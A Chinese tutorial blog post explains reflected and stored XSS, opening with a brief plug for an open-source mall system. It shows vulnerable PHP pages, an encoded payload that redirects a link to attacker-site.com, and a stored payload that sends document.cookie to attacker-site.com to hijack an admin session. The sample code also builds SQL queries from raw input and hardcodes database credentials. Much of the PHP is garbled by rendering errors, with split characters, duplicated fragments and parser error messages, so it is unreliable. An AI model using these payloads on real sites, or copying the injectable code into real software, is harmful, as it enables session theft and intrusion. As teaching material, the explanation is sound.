商场网站对系统的安全性能要求比较高,很多商城系统都自己处理了这方面的问题,上次在网上下载的DSmall开源商城系统就做的很好。
xss表示Cross Site Scripting(跨站脚本攻击),它与SQL注入攻击类似,SQL注入攻击中以SQL语句作为用户输入,从而达到查询/修改/删除数据的目的,而在xss攻击中,通过插入恶意脚本,实现对用户游览器的控制。
xss攻击可以分成两种类型:
- 非持久型攻击
- 持久型攻击
下面我们通过具体例子,了解两种类型xss攻击。
1.非持久型xss攻击
顾名思义,非持久型xss攻击是一次性的,仅对当次的页面访问产生影响。非持久型xss攻击要求用户访问一个被攻击者篡改后的链接,用户访问该链接时,被植入的攻击脚本被用户游览器执行,从而达到攻击目的。
假设有以下index.php页面:
[php] view plaincopy
1.<?php
2.$name = $_GET[‘name’];
3.echo “Welcome $name
”;
4.echo “Click to Download”;
5.?>
该页面显示两行信息:
- 从URI获取 ‘name’ 参数,并在页面显示
- 显示跳转到一条URL的链接
这时,当攻击者给出以下URL链接:
index.php?name=guest
当用户点击该链接时,将产生以下html代码,带’attacked’的告警提示框弹出:
[html] view plaincopy
1.Welcome guest
2.
Click to Download
除了插入alert代码,攻击者还可以通过以下URL实现修改链接的目的:
[html] view plaincopy
1.index.php?name=
2.
当用户点击以上攻击者提供的URL时,index.php页面被植入脚本,页面源码如下:
[html] view plaincopy
1.Welcome
2.
Click to Download
用户再点击 “Click to Download” 时,将跳转至攻击者提供的链接。
对于用于攻击的URL,攻击者一般不会直接使用以上可读形式,而是将其转换成ASCII码,以下URL同样用于实现链接地址变更:
index.php?name=%3c%73%63%72%69%70%74%3e%77%69%6e%64%6f%77%2e%6f%6e%6c%6f%61%64%20%3d%20%66%75%6e%63%74%69%6f%6e%28%29%20%7b%76%61%72%20%6c%69%6e%6b%3d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%73%42%79%54%61%67%4e%61%6d%65%28%22%61%22%29%3b%6c%69%6e%6b%5b%30%5d%2e%68%72%65%66%3d%22%68%74%74%70%3a%2f%2f%61%74%74%61%63%6b%65%72%2d%73%69%74%65%2e%63%6f%6d%2f%22%3b%7d%3c%2f%73%63%72%69%70%74%3e
2.持久型xss攻击
持久型xss攻击会把攻击者的数据存储在服务器端,攻击行为将伴随着攻击数据一直存在。下面来看一个利用持久型xss攻击获取session id的实例。
session背景知识
我们知道HTTP是一个无状态维持的协议,所有请求/应答都是独立的,其间不保存状态信息。但有些场景下我们需要维护状态信息,例如用户登录完web应用后,再一定时间内,用户再进行登录,应不需要再输入用户名/密码进行鉴权。
这时我们用cookie和session解决状态维护问题,当用户首次登入时,服务器为该用户创建一个 session ID,同时向游览器传送一个 cookie,cookie保存会话连接中用到的数据,session ID作为会话标识,游览器后续的请求均基于该session ID。
攻击者可以提供一个攻击链接,当用户点击该链接时,向攻击者自己的服务器发送一条保存有用户session ID的信息,这样就可以窃取到用户的session ID,得到用户的执行权限。
现有以下login.php,其根据 user_name 在数据中查找相应的 pass_word,然后将用户提供的 password 与查数据库所得的 pass_word 进行比较,如果验证成功则创建对应于 user_name 的 session。
[php] view plaincopy
1.<?php
2.
H
o
s
t
=
′
192.168.1.
8
′
;
3.
Host= '192.168.1.8'; 3.
Host=′192.168.1.8′;3.Dbname= ‘app’;
4.
U
s
e
r
=
′
y
y
y
′
;
5.
User= 'yyy'; 5.
User=′yyy′;5.Password= ‘xxx’;
6.
S
c
h
e
m
a
=
′
t
e
s
t
′
;
7.8.
Schema = 'test'; 7. 8.
Schema=′test′;7.8.Conection_string=“host=
H
o
s
t
d
b
n
a
m
e
=
Host dbname=
Hostdbname=Dbname user=
U
s
e
r
p
a
s
s
w
o
r
d
=
User password=
Userpassword=Password”;
9.
10./* Connect with database asking for a new connection*/
C
o
n
n
e
c
t
=
p
g
c
o
n
n
e
c
t
(
Connect=pg_connect(
Connect=pgconnect(Conection_string,
P
G
S
Q
L
C
O
N
N
E
C
T
F
O
R
C
E
N
E
W
)
;
11.12.
/
∗
E
r
r
o
r
c
h
e
c
k
i
n
g
t
h
e
c
o
n
n
e
c
t
i
o
n
s
t
r
i
n
g
∗
/
i
f
(
!
PGSQL_CONNECT_FORCE_NEW); 11. 12./* Error checking the connection string */if (!
PGSQLCONNECTFORCENEW);11.12./∗Errorcheckingtheconnectionstring∗/if(!Connect) {
13. echo “Database Connection Failure”;
14. exit;
15.}
16.
17.$query=“SELECT user_name,password from
S
c
h
e
m
a
.
m
e
m
b
e
r
s
w
h
e
r
e
u
s
e
r
n
a
m
e
=
′
"
.
Schema.members where user_name='".
Schema.memberswhereusername=′"._POST[‘user_name’].”’;";
18.
19.
r
e
s
u
l
t
=
p
g
q
u
e
r
y
(
result=pg_query(
result=pgquery(Connect,
q
u
e
r
y
)
;
20.
query); 20.
query);20.row=pg_fetch_array(
r
e
s
u
l
t
,
N
U
L
L
,
P
G
S
Q
L
A
S
S
O
C
)
;
21.22.
result,NULL,PGSQL_ASSOC); 21. 22.
result,NULL,PGSQLASSOC);21.22.user_pass = md5(
P
O
S
T
[
′
p
a
s
s
w
o
r
d
′
]
)
;
23.
_POST['pass_word']); 23.
POST[′password′]);23.user_name =
r
o
w
[
′
u
s
e
r
n
a
m
e
′
]
;
24.25.
i
f
(
s
t
r
c
m
p
(
row['user_name']; 24. 25.if(strcmp(
row[′username′];24.25.if(strcmp(user_pass,$row[‘password’])!=0) {
26. echo “Login failed”;
27.}
28.else {
29. # Start the session
30. session_start();
31. $_SESSION[‘USER_NAME’] = $user_name;
32. echo " <meta http-equiv=“Refresh” content=“0;url=home.php” > ";
33.}
34.?>
另有以下home.php,其根据登入的用户是 admin 还是其他用户,显示不同内容,对于admin,其列出所有用户,对于其他用户,提供包含输入框的form,可在数据库中插入新的用户名信息。
[php] view plaincopy
1.<?php
2.session_start();
3.if(!$_SESSION[‘USER_NAME’]) {
4. echo “Need to login”;
5.}
6.else {
7. $Host= ‘192.168.1.8’;
8. $Dbname= ‘app’;
9. $User= ‘yyy’;
10. $Password= ‘xxx’;
11. $Schema = ‘test’;
12.
C
o
n
e
c
t
i
o
n
s
t
r
i
n
g
=
"
h
o
s
t
=
Conection_string="host=
Conectionstring="host=Host dbname=
D
b
n
a
m
e
u
s
e
r
=
Dbname user=
Dbnameuser=User password=$Password";
13.
C
o
n
n
e
c
t
=
p
g
c
o
n
n
e
c
t
(
Connect=pg_connect(
Connect=pgconnect(Conection_string,
P
G
S
Q
L
C
O
N
N
E
C
T
F
O
R
C
E
N
E
W
)
;
14.
i
f
(
PGSQL_CONNECT_FORCE_NEW); 14. if(
PGSQLCONNECTFORCENEW);14.if(_SERVER[‘REQUEST_METHOD’] == “POST”) {
15. $query=“update
S
c
h
e
m
a
.
m
e
m
b
e
r
s
s
e
t
d
i
s
p
l
a
y
n
a
m
e
=
′
"
.
Schema.members set display_name='".
Schema.memberssetdisplayname=′"._POST[‘disp_name’].”’ where user_name=’".
S
E
S
S
I
O
N
[
′
U
S
E
R
N
A
M
E
′
]
.
"
′
;
"
;
16.
p
g
q
u
e
r
y
(
_SESSION['USER_NAME']."';"; 16. pg_query(
SESSION[′USERNAME′]."′;";16.pgquery(Connect,KaTeX parse error: Expected 'EOF', got '}' at position 45: …uccess"; 18. }̲ 19. else { …_SESSION[‘USER_NAME’],‘admin’)==0) {
21. echo “Welcome admin
”;
22. echo “List of user’s are
”;
23. $query = “select display_name from $Schema.members where user_name!=‘admin’”;
24. r e s = p g q u e r y ( res = pg_query( res=pgquery(Connect, q u e r y ) ; 25. w h i l e ( query); 25. while( query);25.while(row=pg_fetch_array( KaTeX parse error: Expected '}', got 'EOF' at end of input: … 26. echo "row[display_name]
";
27. }
28. }
29. else {
30. echo “<form name=“tgs” id=“tgs” method=“post” action=“home.php”>”;
31. echo “Update display name:<input type=“text” id=“disp_name” name=“disp_name” value=”">";
32. echo “<input type=“submit” value=“Update”>”;
33. }
34.}
35.}
36.?>
注意以上场景中,对 admin 和其他用户进行了不同的权限设置,admin可以看到所有用户列表,下面我们来看如何获取 admin 的session ID,从而使得其他用户也能获得 admin 的权限。
首先,攻击者以一个普通用户登录进来,然后在输入框中提交以下数据:
<a href=# οnclick=“document.location=‘http://attacker-site.com/xss.php?c=’+escape(document.cookie);”>bangerlee
攻击者提交了条带标签的数据,该条数据将保存在数据库中,而当 admin 用户登入时,包含 “bangerlee” 的用户列表将显示,如果 admin 用户点击 “bangerlee” 时,在 “attacker-site.com” 所在的服务器上,攻击者就可以窃取到 admin 的session-id:
xss.php?c=PHPSESSID%3Dvmcsjsgear6gsogpu7o2imr9f3
有了该session-id,攻击者在会话有效期内即可获得 admin 用户的权限,并且由于攻击数据已添加入数据库,只要攻击数据未被删除,那么攻击还有可能生效,是持久性的。
当然,不是只有持久型xss攻击才能窃取session ID、用户的cookie信息,用非持久型xss也可以,只要引导用户点击某链接,将 document.cookie 信息传到指定服务器即可,以上仅作为说明持久型xss攻击的举例。